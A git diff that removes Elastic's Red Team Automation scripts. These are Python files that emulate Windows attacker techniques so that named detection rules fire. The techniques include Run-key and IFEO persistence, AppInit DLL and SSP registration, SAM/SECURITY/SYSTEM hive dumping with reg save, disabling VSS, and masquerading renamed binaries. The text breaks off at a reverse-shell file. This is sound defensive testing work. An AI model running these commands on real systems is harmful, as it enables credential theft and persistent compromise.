License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d2bc8d23-736f-4045-87cd-81d9f4719d2f", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'bd7eefee-f671-494e-98df-f01daf9e5f17', - 'rule_name': 'Suspicious Print Spooler Point and Print DLL' - }], - techniques=['T1068'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - - key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\RTA" - value = "SpoolDirectory" - data = "C:\\Windows\\System32\\spool\\drivers\\x64\\4" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\RTA\\CopyFiles\\Payload" - value = "Module" - data = "C:\\Windows\\System32\\spool\\drivers\\x64\\4\\RTA.dll" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_port_forwarding.py b/rta/reg_mod_port_forwarding.py deleted file mode 100644 index b1fb79d92..000000000 --- a/rta/reg_mod_port_forwarding.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8896c6ac-ead6-4f4e-aecf-8308fd53e78c", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '3535c8bb-3bd5-40f4-ae32-b7cd589d5372', 'rule_name': 'Port Forwarding Rule Addition'}], - techniques=['T1572'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "System\\CurrentControlSet\\Services\\PortProxy\\v4tov4" - value = "a" - data = "0" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_print_processors.py b/rta/reg_mod_print_processors.py deleted file mode 100644 index e8f049bca..000000000 --- a/rta/reg_mod_print_processors.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d87a9024-5e8e-44c2-b943-0680f92ad995", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '8f3e91c7-d791-4704-80a1-42c160d7aa27', - 'rule_name': 'Potential Port Monitor or Print Processor Registration Abuse' - }], - techniques=['T1547', 'T1547.010', 'T1547', 'T1547.010'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SYSTEM\\ControlSet001\\Control\\Print\\Monitors" - value = "RTA" - data = "RTA.dll" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_remcos.py b/rta/reg_mod_remcos.py deleted file mode 100644 index 1469310ab..000000000 --- a/rta/reg_mod_remcos.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0e5a4099-f76d-43f8-aa91-0ed1ad5fed81", - platforms=["windows"], - endpoint=[ - {"rule_name": "Remcos RAT Registry or File Modification", "rule_id": "9769d372-4115-4ef8-8d7b-aaad05dad9ae"} - ], - siem=[], - techniques=["T1112"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Temporarily creating a Remcos RAT alike reg key...") - - key = "SOFTWARE\\Remcos-rta" - value = "licence" - data = "RAT" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_run_key_unusual_proc.py b/rta/reg_mod_run_key_unusual_proc.py deleted file mode 100644 index 3f4697c50..000000000 --- a/rta/reg_mod_run_key_unusual_proc.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a3461218-f6c2-4178-ad85-f25b8df2d2e1", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Registry Run Key Modified by Unusual Process", - "rule_id": "b2fcbb09-d9bd-4f6c-a08e-247548b4edcd", - }, - { - "rule_name": "Suspicious String Value Written to Registry Run Key", - "rule_id": "727db78e-e1dd-4bc0-89b0-885cd99e069e", - }, - ], - siem=[], - techniques=["T1547"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Windows\\posh.exe" - common.copy_file(EXE_FILE, posh) - - cmd = ( - "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " - "-Name Test -PropertyType String -value rundll32" - ) - rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" - - # Execute command - common.log("Fake ms word reg mod...") - common.execute([posh, "/c", cmd], timeout=10) - common.execute([posh, "/c", rem_cmd], timeout=10) - common.remove_file(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_shadow_rdp.py b/rta/reg_mod_shadow_rdp.py deleted file mode 100644 index b6d678c1e..000000000 --- a/rta/reg_mod_shadow_rdp.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a6263f00-58b4-4555-b88f-9d66a7395891", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'c57f8579-e2a5-4804-847f-f2732edc5156', - 'rule_name': 'Potential Remote Desktop Shadowing Activity' - }], - techniques=['T1021'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Modifying RDP Shadow reg key...") - - key = "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services" - value = "Shadow" - data = "Test" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_shim_sb.py b/rta/reg_mod_shim_sb.py deleted file mode 100644 index f3025cf40..000000000 --- a/rta/reg_mod_shim_sb.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="735969b3-6a2e-4c7d-b18a-59e2f36ef13b", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'c5ce48a6-7f57-4ee8-9313-3d0024caee10', 'rule_name': 'Installation of Custom Shim Databases'}], - techniques=['T1546', 'T1546.011'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom" - value = "a.sdb" - data = "RTA" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_startup_shell_folder.py b/rta/reg_mod_startup_shell_folder.py deleted file mode 100644 index 0ef202897..000000000 --- a/rta/reg_mod_startup_shell_folder.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="16fe008f-58b5-4a8c-9e73-2784edf636b1", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'c8b150f0-0164-475b-a75e-74b47800a9ff', - 'rule_name': 'Suspicious Startup Shell Folder Modification' - }], - techniques=['T1547', 'T1547.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders" - value = "Common Startup" - uvalue = "Startup" - data = "Test" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - with common.temporary_reg(common.HKCU, key, uvalue, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_suspicious_service.py b/rta/reg_mod_suspicious_service.py deleted file mode 100644 index 298c88662..000000000 --- a/rta/reg_mod_suspicious_service.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ffc9ace1-3527-46e3-bc3e-86b942107edb", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '36a8e048-d888-4f61-a8b9-0f9e2e40f317', 'rule_name': 'Suspicious ImagePath Service Creation'}], - techniques=['T1543', 'T1543.003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SYSTEM\\ControlSet001\\Services\\RTA" - value = "ImagePath" - data = "%COMSPEC%" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_systemcertificates.py b/rta/reg_mod_systemcertificates.py deleted file mode 100644 index 03ebd4679..000000000 --- a/rta/reg_mod_systemcertificates.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5781ea36-ac63-4746-8e0f-a1ebd5ec481d", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '203ab79b-239b-4aa5-8e54-fc50623ee8e4', - 'rule_name': 'Creation or Modification of Root Certificate' - }], - techniques=['T1553', 'T1553.004'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\Test" - value = "Blob" - data = "test" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_time_provider.py b/rta/reg_mod_time_provider.py deleted file mode 100644 index 29fddebdb..000000000 --- a/rta/reg_mod_time_provider.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8b03eda5-5c01-4e69-9095-f9c00af85000", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '14ed1aa9-ebfd-4cf9-a463-0ac59ec55204', - 'rule_name': 'Potential Persistence via Time Provider Modification' - }], - techniques=['T1547', 'T1547.003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SYSTEM\\ControlSet001\\Services\\W32Time\\TimeProviders" - value = "Test" - data = "a.dll" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_unusual_startup_folder.py b/rta/reg_mod_unusual_startup_folder.py deleted file mode 100644 index daef9d721..000000000 --- a/rta/reg_mod_unusual_startup_folder.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4ac771ca-5095-4a1b-ac6a-e2b714be8ccc", - platforms=["windows"], - endpoint=[{ - 'rule_id': '377aad38-24e0-4dd7-93c2-bd231cb749e3', - 'rule_name': 'Unusual Startup Shell Folder Modification' - }], - siem=[], - techniques=['T1547', 'T1547.001', 'T1112'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Temp Registry mod: Common Startup Folder") - - key = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders" - value = "Common Startup" - data = "Test" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_mod_windir.py b/rta/reg_mod_windir.py deleted file mode 100644 index c5eceee68..000000000 --- a/rta/reg_mod_windir.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="38cea037-c1a8-4749-a434-ba4c7d6e91f8", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Privilege Escalation via Windir or SystemRoot Environment Variable", - "rule_id": "18ffee0c-5f40-4dd8-aa9a-28251a308dbc", - } - ], - siem=[ - { - 'rule_id': 'd563aaba-2e72-462b-8658-3e5ea22db3a6', - 'rule_name': 'Privilege Escalation via Windir Environment Variable' - } - ], - techniques=['T1574', 'T1574.007'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "System\\Environment" - value = "windir" - data = "rta" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_run_key_asterisk.py b/rta/reg_run_key_asterisk.py deleted file mode 100644 index c6a58b924..000000000 --- a/rta/reg_run_key_asterisk.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="13fbcfdc-ba84-414b-aaa6-49b416806c8e", - platforms=["windows"], - endpoint=[ - {"rule_name": "Registry Run Key Prefixed with Asterisk", "rule_id": "94d35931-5c48-49ed-8c18-d601c4f8aeaa"} - ], - siem=[], - techniques=["T1547"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Writing registry key") - - key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" - value = "*test" - data = "test" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reg_vss_service_disable.py b/rta/reg_vss_service_disable.py deleted file mode 100644 index ee3f483c6..000000000 --- a/rta/reg_vss_service_disable.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c4eefb59-2c59-4904-a04e-5e3a75f54a46", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Shadow Copy Service Disabled via Registry Modification", - "rule_id": "b2409cd4-3b23-4b2d-82e4-bbb25594999a", - }, - { - "rule_name": "VSS Service Disabled Followed by a Suspicious File Rename", - "rule_id": "d6cde651-adc9-4074-b167-65e6b82116b4", - }, - { - "rule_name": "Suspicious File Rename by an Unusual Process", - "rule_id": "df874d7e-6639-44ce-b47d-96254022ccd5", - }, - ], - siem=[], - techniques=["T1218", "T1112", "T1486", "T1490", "T1059"], -) - -HIGHENTROPY = common.get_path("bin", "highentropy.txt") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SYSTEM\\CurrentControlSet\\Services\\VSS" - value = "Start" - data = 4 - - with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): - pass - - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - jpg = "C:\\Users\\Public\\jpg.jpg" - jpgenc = "C:\\Users\\Public\\jpg.enc" - # Creating a high entropy file, and executing the rename operation - common.copy_file(HIGHENTROPY, jpg) - common.execute([powershell, "/c", f"Rename-Item {jpg} {jpgenc}"], timeout=10) - common.execute([powershell, "/c", "Remove-Item 'C:\\Users\\Public\\*jpg*' -Force"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/registry_hive_export.py b/rta/registry_hive_export.py deleted file mode 100644 index dfe074f96..000000000 --- a/rta/registry_hive_export.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Export Registry Hives -# RTA: registry_hive_export.py -# ATT&CK: TBD -# Description: Exports the SAM, SECURITY and SYSTEM hives - useful in credential harvesting and discovery attacks. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="dfdcc4f4-5aca-486a-8115-b15b653b9b4f", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "a7e7bfa3-088e-4f13-b29e-3986e0e756b8", - "rule_name": "Credential Acquisition via Registry Hive Dumping", - } - ], - techniques=["T1003"], -) - - -REG = "reg.exe" - - -@common.requires_os(*metadata.platforms) -def main(): - for hive in ["sam", "security", "system"]: - filename = Path("%s.reg" % hive).resolve() - common.log("Exporting %s hive to %s" % (hive, filename)) - common.execute([REG, "save", "hkey_local_machine\\%s" % hive, filename]) - common.remove_file(filename) - - common.execute([REG, "save", "hklm\\%s" % hive, filename]) - common.remove_file(filename) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/registry_persistence_create.py b/rta/registry_persistence_create.py deleted file mode 100644 index 7a545b423..000000000 --- a/rta/registry_persistence_create.py +++ /dev/null @@ -1,137 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Registry persistence creation -# RTA: registry_persistence_create.py -# signal.rule.name: Local Service Commands -# signal.rule.name: Potential Modification of Accessibility Binaries -# ATT&CK: T1015, T1103 -# Description: Creates registry persistence for mock malware in Run and RunOnce keys, Services, NetSH and debuggers. - -# TODO: Split into multiple files -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c62c65bf-248e-4f5a-ad4f-a48736c1d6f2", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", - "rule_name": "Potential Modification of Accessibility Binaries", - } - ], - techniques=["T1546"], -) - - -TARGET_APP = common.get_path("bin", "myapp.exe") - - -def pause(): - time.sleep(0.5) - - -@common.requires_os(*metadata.platforms) -@common.dependencies(TARGET_APP) -def main(): - common.log("Suspicious Registry Persistence") - winreg = common.get_winreg() - - for hive in (common.HKLM, common.HKCU): - common.write_reg( - hive, - "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", - "RunOnceTest", - TARGET_APP, - ) - common.write_reg( - hive, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", - "RunTest", - TARGET_APP, - ) - - # create Services subkey for "ServiceTest" - common.log("Creating ServiceTest registry key") - hklm = winreg.HKEY_LOCAL_MACHINE - hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\ServiceTest\\") - - # create "ServiceTest" data values - common.log("Updating ServiceTest metadata") - winreg.SetValueEx(hkey, "Description", 0, winreg.REG_SZ, "A fake service") - winreg.SetValueEx(hkey, "DisplayName", 0, winreg.REG_SZ, "ServiceTest Service") - winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTest.exe") - winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "C:\\ServiceTest.dll") - - # modify contents of ServiceDLL and ImagePath - common.log("Modifying ServiceTest binary") - winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTestMod.exe") - winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "c:\\ServiceTestMod.dll") - - hkey.Close() - common.pause() - - # delete Service subkey for "ServiceTest" - common.log("Removing ServiceTest", log_type="-") - hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\") - winreg.DeleteKeyEx(hkey, "ServiceTest") - - hkey.Close() - common.pause() - - # Additional persistence - common.log("Adding AppInit DLL") - windows_base = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\" - common.write_reg(common.HKLM, windows_base, "AppInit_Dlls", "evil.dll", restore=True, pause=True) - - common.log("Adding AppCert DLL") - appcertdlls_key = "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls" - common.write_reg(common.HKLM, appcertdlls_key, "evil", "evil.dll", restore=True, pause=True) - - debugger_targets = [ - "normalprogram.exe", - "sethc.exe", - "utilman.exe", - "magnify.exe", - "narrator.exe", - "osk.exe", - "displayswitch.exe", - "atbroker.exe", - ] - - for victim in debugger_targets: - common.log("Registering Image File Execution Options debugger for %s -> %s" % (victim, TARGET_APP)) - base_key = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s" % victim - common.write_reg(common.HKLM, base_key, "Debugger", TARGET_APP, restore=True) - - # create new NetSh key value - common.log("Adding a new NetSh Helper DLL") - key = "Software\\Microsoft\\NetSh" - common.write_reg(common.HKLM, key, "BadHelper", "c:\\windows\\system32\\BadHelper.dll") - - # modify the list of SSPs - common.log("Adding a new SSP to the list of security packages") - key = "System\\CurrentControlSet\\Control\\Lsa" - common.write_reg( - common.HKLM, - key, - "Security Packages", - ["evilSSP"], - common.MULTI_SZ, - append=True, - pause=True, - ) - - hkey.Close() - pause() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/registry_rdp_enable.py b/rta/registry_rdp_enable.py deleted file mode 100644 index 66488ec7a..000000000 --- a/rta/registry_rdp_enable.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Enable RDP Through Registry -# RTA: registry_rdp_enable.py -# signal.rule.name: Potential Modification of Accessibility Binaries -# ATT&CK: T1076 -# Description: Identifies registry write modification to enable RDP access. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1ef2a173-a9c8-446d-9d56-f7e54a197a33", - platforms=["windows"], - endpoint=[], - siem=[ - {'rule_id': '58aa72ca-d968-4f34-b9f7-bea51d75eb50', 'rule_name': 'RDP Enabled via Registry'} - ], - techniques=['T1021', 'T1021.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Enabling RDP Through Registry") - - # get the current value - key = "System\\CurrentControlSet\\Control\\Terminal Server" - value = "fDenyTSConnections" - - with common.temporary_reg(common.HKLM, key, value, 0, common.DWORD): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/regsvr32_scrobj.py b/rta/regsvr32_scrobj.py deleted file mode 100644 index b9534e439..000000000 --- a/rta/regsvr32_scrobj.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="469c7bb5-44e2-4a85-b14d-5aee4f2b18c1", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Regsvr32 Scriptlet Execution", "rule_id": "0524c24c-e45e-4220-b21a-abdba0c46c4d"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, - ], - siem=[], - techniques=["T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - regsvr32 = "C:\\Users\\Public\\regsvr32.exe" - common.copy_file(EXE_FILE, regsvr32) - - common.execute([regsvr32, "/c", "echo", "scrobj.exe /i:"], timeout=10) - common.remove_files(regsvr32) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/regsvr32_unusual_args.py b/rta/regsvr32_unusual_args.py deleted file mode 100644 index c622432c9..000000000 --- a/rta/regsvr32_unusual_args.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="469d383a-d03f-470a-bcba-15da9dd373ed", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, - ], - siem=[], - techniques=["T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "regsvr32.exe" - common.copy_file(EXE_FILE, binary) - - # Execute Command - common.execute([binary, "cd", "C:\\Users\\Public\\"], timeout=10, kill=True) - - common.remove_file(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/renamed_autoit.py b/rta/renamed_autoit.py deleted file mode 100644 index 295df368a..000000000 --- a/rta/renamed_autoit.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="43636c0c-162b-4445-bcd0-348cbd203fa3", - platforms=["windows"], - endpoint=[{"rule_name": "Renamed AutoIt Scripts Interpreter", "rule_id": "99f2327e-871f-4b8a-ae75-d1c4697aefe4"}], - siem=[{'rule_id': '2e1e835d-01e5-48ca-b9fc-7a61f7f11902', 'rule_name': 'Renamed AutoIt Scripts Interpreter'}], - techniques=['T1036', 'T1036.003'], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - autoit = "C:\\Users\\Public\\rta.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, autoit) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute( - [rcedit, autoit, "--set-version-string", "OriginalFileName", "autoitrta.exe"], - timeout=10, - ) - common.execute([autoit], timeout=5, kill=True) - - common.remove_files(autoit, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/renamed_automaton_interpreter.py b/rta/renamed_automaton_interpreter.py deleted file mode 100644 index 2549779b0..000000000 --- a/rta/renamed_automaton_interpreter.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8c128a2b-fa7b-4bfc-9ec9-934395460420", - platforms=["windows"], - endpoint=[ - {"rule_name": "Renamed Windows Automaton Script Interpreter", "rule_id": "92d720dd-93b2-49e0-b68a-d5d6acbe4910"} - ], - siem=[], - techniques=["T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - autohotkey = "C:\\Users\\Public\\notaut0hotkey.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, autohotkey) - common.copy_file(RENAMER, rcedit) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute( - [ - rcedit, - autohotkey, - "--set-version-string", - "OriginalFilename", - "AutoHotkey.exe", - ] - ) - - common.execute([autohotkey], timeout=10, kill=True) - - common.remove_files(autohotkey, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/reverse_shell.py b/rta/reverse_shell.py deleted file mode 100644 index f3a83d660..000000000 --- a/rta/reverse_shell.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import 